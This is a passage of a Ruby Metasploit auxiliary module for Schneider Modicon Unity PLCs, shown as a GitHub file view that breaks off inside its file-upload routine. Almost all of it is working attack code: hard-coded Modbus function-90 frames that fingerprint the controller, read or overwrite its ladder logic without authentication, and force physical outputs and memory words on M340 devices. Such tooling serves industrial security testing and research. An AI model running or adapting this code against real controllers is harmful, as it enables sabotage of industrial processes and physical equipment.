-
Notifications
You must be signed in to change notification settings - Fork 9
/
schneider.rb
715 lines (691 loc) · 36.4 KB
/
schneider.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to send and receive ladder logic. The protocol is
unauthenticated, and allows a rogue host to retrieve the existing
logic and to upload new logic.
Three actions are supported : Gather informations,
download the ladder logic or upload a new ladder logic.
In either mode, FILENAME must be set to a valid path to an existing
file (UPLOAD) or a new file (DOWNLOAD), and the directory must
already exist. The default, 'modicon_ladder.apx' is a blank
ladder logic file which can be used for testing.
This module is based on the original 'modiconstux.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'Arnaud Soullie <arnaud.soullie[at]solucom.fr>', # fix module, add info gathering, refactor
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => 'Apr 5 2012',
'Actions' =>
[
['GATHER_INFOS', { 'Description' => 'Get informations about the PLC configuration' } ],
['DOWNLOAD', { 'Description' => 'Download the ladder logic from the PLC' } ],
['UPLOAD', { 'Description' => 'Upload a ladder logic file to the PLC' } ],
['FORCE_M340_OUTPUTS', { 'Description' => 'Try forcing some bits on M340' } ],
['FORCE_M340_WORDS', { 'Description' => 'Try forcing some words on M340' } ],
]
))
register_options(
[
OptString.new('FILENAME',
[
true,
"The file to send or receive",
File.join(Msf::Config.data_directory, "exploits", "test.smbp")
]),
Opt::RPORT(502)
], self.class)
end
def run
unless valid_filename?
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
return nil
end
@modbus_counter = 0x0000 # used for modbus frames
connect
#init
case datastore['ACTION']
when "DOWNLOAD"
readfile
when "UPLOAD"
writefile
when "GATHER_INFOS"
gather_infos
when "FORCE_M340_OUTPUTS"
force_m340_outputs
when "FORCE_M340_WORDS"
force_m340_words
end
end
def handle_error(response)
case response.reverse.unpack("c")[0].to_i
when 1
print_error("Error : ILLEGAL FUNCTION")
when 2
print_error("Error : ILLEGAL DATA ADDRESS")
when 3
print_error("Error : ILLEGAL DATA VALUE")
when 4
print_error("Error : SLAVE DEVICE FAILURE")
when 6
print_error("Error : SLAVE DEVICE BUSY")
else
print_error("Unknown error")
end
exit
end
def valid_filename?
if datastore['MODE'] == "SEND"
File.readable? datastore['FILENAME']
else
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
end
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def make_frame(packetdata)
if packetdata.size > 255
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
return
end
payload = [@modbus_counter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def send_frame(payload)
sock.put(payload)
@modbus_counter += 1
r = sock.get(sock.def_read_timeout)
if r.nil?
print_error("No answer from target")
exit
elsif r.unpack("C*")[-2] == 218
print_error("Apparently there is an error")
#handle_error(r)
else
return r
end
end
# This function sends some initialization requests
# required for priming the Quantum
def init
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x00\x01\x00"))
send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
send_frame(make_frame("\x00\x5a\x00\x03\x00"))
send_frame(make_frame("\x00\x5a\x00\x03\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x01\x00"))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
send_frame(make_frame(payload))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
#payload += "USER-714E74F21B" # Yep, really
payload += "META-SPLOITMETA"
send_frame(make_frame(payload))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x0b"))
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
send_frame(make_frame("\x00\x5a\x01\x12"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x01\x12"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"))
send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
end
def gather_infos
print_status("Sending initialization requests ...")
api = send_frame(make_frame("\x00\x5a\x00\x02"))
print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
send_frame(make_frame("\x00\x5a\x00\x01\x00"))
send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
project_name = project.to_s
print_good('Project name : ' + project_name[49..-1])
send_frame(make_frame("\x00\x5a\x00\x03\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
host_name = host.to_s
#print_good('host : ' + host_name)
print_good('Hostname running Unity : ' + host_name[19..-1])
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
send_frame(make_frame(payload))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
tableau = []
data.bytes.each do |byte|
tableau.push(byte.to_s)
end
@uaelbat = tableau.reverse
nb_to_delete = 1
for i in 1..tableau.size
if @uaelbat[i].to_s != '0'
break
elsif @uaelbat[i].to_s == '0'
nb_to_delete +=1
end
end
tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
test = tableau2.split('0')
unity_version = ''
test[0].each do |char|
unity_version += [char.to_i].pack("c")
end
print_good("Unity software version : " + unity_version.reverse)
comments =''
test[7].each do |char|
comments += [char.to_i].pack("c")
end
print_good("Project comments : " + comments.reverse)
end
def force_m340_outputs
print_status("Sending initialization requests ...")
api = send_frame(make_frame("\x00\x5a\x00\x02"))
#print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
send_frame(make_frame("\x00\x5a\x00\x01\x00"))
send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
project_name = project.to_s
#print_good('Project name : ' + project_name[49..-1])
send_frame(make_frame("\x00\x5a\x00\x03\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
host_name = host.to_s
#print_good('host : ' + host_name)
#print_good('Hostname running Unity : ' + host_name[19..-1])
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
send_frame(make_frame(payload))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
tableau = []
data.bytes.each do |byte|
tableau.push(byte.to_s)
end
@uaelbat = tableau.reverse
nb_to_delete = 1
for i in 1..tableau.size
if @uaelbat[i].to_s != '0'
break
elsif @uaelbat[i].to_s == '0'
nb_to_delete +=1
end
end
tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
test = tableau2.split('0')
unity_version = ''
test[0].each do |char|
unity_version += [char.to_i].pack("c")
end
#print_good("Unity software version : " + unity_version.reverse)
comments =''
test[7].each do |char|
comments += [char.to_i].pack("c")
end
#print_good("Project comments : " + comments.reverse)
# Force some bits
sleep_time = 5
# Send some garbage
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07"))
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
#data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
# sleep(sleep_time)
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
# sleep(sleep_time)
print_status("Sending request to set Q0.16 to 1")
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x02\x05\x01\x04\x00\x00\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x03\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to set Q0.16 to 0")
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x02\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.16")
data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to set Q0.17 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.17 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.17")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x04"))
sleep(sleep_time)
print_status("Sending request to set Q0.18 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.18 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.18")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x04"))
sleep(sleep_time)
print_status("Sending request to set Q0.19 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.19 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.19")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04"))
print_status("Sending request to set Q0.20 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.20 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.20")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x04"))
print_status("Sending request to set Q0.21 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.22 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.22")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x04"))
print_status("Sending request to set Q0.23 to 1")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set Q0.23 to 0")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to unforce Q0.23")
data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x04"))
# sleep 2
# print_status("Sending request to set %MW2 to 0")
#
# send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
# sleep 2
# print_status("Sending request to set %MW2 to 1")
# send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
# send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
# print_status("Sending request to set %MW4 to 1")
# send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
# sleep 2
# #print_status("Sending request to unforce Q0.18")
#data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04"))
end
def force_m340_words
print_status("Sending initialization requests ...")
api = send_frame(make_frame("\x00\x5a\x00\x02"))
#print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
send_frame(make_frame("\x00\x5a\x00\x01\x00"))
send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
project_name = project.to_s
#print_good('Project name : ' + project_name[49..-1])
send_frame(make_frame("\x00\x5a\x00\x03\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
host_name = host.to_s
#print_good('host : ' + host_name)
#print_good('Hostname running Unity : ' + host_name[19..-1])
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
send_frame(make_frame(payload))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x04"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
tableau = []
data.bytes.each do |byte|
tableau.push(byte.to_s)
end
@uaelbat = tableau.reverse
nb_to_delete = 1
for i in 1..tableau.size
if @uaelbat[i].to_s != '0'
break
elsif @uaelbat[i].to_s == '0'
nb_to_delete +=1
end
end
tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
test = tableau2.split('0')
unity_version = ''
test[0].each do |char|
unity_version += [char.to_i].pack("c")
end
#print_good("Unity software version : " + unity_version.reverse)
comments =''
test[7].each do |char|
comments += [char.to_i].pack("c")
end
#print_good("Project comments : " + comments.reverse)
# Force some bits
sleep_time = 5
# Send some garbage
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07"))
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
#data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
# sleep(sleep_time)
# data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
# sleep(sleep_time)
print_status("Sending request to set %MW1 to 0")
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to set %MW1 to 1")
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set %MW2 to 0")
sleep(sleep_time)
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to set %MW2 to 1")
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
sleep(sleep_time)
print_status("Sending request to set %MW3 to 1")
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
sleep(sleep_time)
print_status("Sending request to set %MW3 to 0")
send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
sleep(sleep_time)
end
# Write the contents of local file filename to the target's filenumber
# blank logic files will be available on the Digital Bond website
def writefile
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
#blocksize = 244 # bytes per block in file transfer
blocksize = 218 # bytes per block in file transfer
buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
fullblocks = buf.length / blocksize
#if fullblocks > 255
# print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
# return
#end
print_status "Total number of blocks : #{fullblocks}"
lastblocksize = buf.length - (blocksize*fullblocks)
lastblocksize_enhexa = [lastblocksize].pack("c")
print_status "Last block size : #{lastblocksize}"
fileblocks = fullblocks
if lastblocksize != 0
fileblocks += 1
end
filetype = buf[0..2]
if filetype == "APX"
filenum = "\x01"
elsif filetype == "APB"
filenum = "\x10"
end
send_frame(make_frame("\x00\x5a\x01\x41\xff\x00"))
send_frame(make_frame("\x00\x5a\x00\x03\x01"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xe1\x00"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x01\x04"))
send_frame(make_frame("\x00\x5a\x00\x03\x01"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x00\x02"))
send_frame(make_frame("\x00\x5a\x01\x04"))
payload = "\x00\x5a\x01\x30\x00"
payload += filenum
response = send_frame(make_frame(payload))
if response[8..9] == "\x01\xfe"
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
else
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
return
end
payload = "\x00\x5a\x01\x04"
send_frame(make_frame(payload))
block = 1
block2 = 0
block_nb = 1
block2status = 0 # block 2 must always be sent twice
while block_nb < (fileblocks - 1)
block_nb = block2*16*16 + block
if block == 256
block = 0
block2 += 1
end
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += [block2].pack("c")
payload += "\xda\x00"
payload += buf[(((block2*16*16 + block) - 1) * 218)..(((block2*16*16 + block) * 218) - 1)]
res = send_frame(make_frame(payload))
print_status "Envoi du block #{block_nb}/#{fullblocks} (#{block2}::#{block})"
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block_nb}")
return
end
# redo this iteration of the loop if we're on block 2
if block2status == 0 and block == 2
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
block2status = 1
redo
end
block += 1
end
if lastblocksize > 0
print_status "Last Block !"
print_status "Size : #{lastblocksize}"
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += [block2].pack("c")
payload += [lastblocksize].pack("c") + "\x00"
payload += buf[(((block2*16*16 + block)-1) * 218)..((((block2*16*16 + block)-1) * 218) + lastblocksize)]
print_status "#{rhost}:#{rport} - MODBUS - Block #{block_nb}: #{payload.inspect}"
res = send_frame(make_frame(payload))
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
return
end
end
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
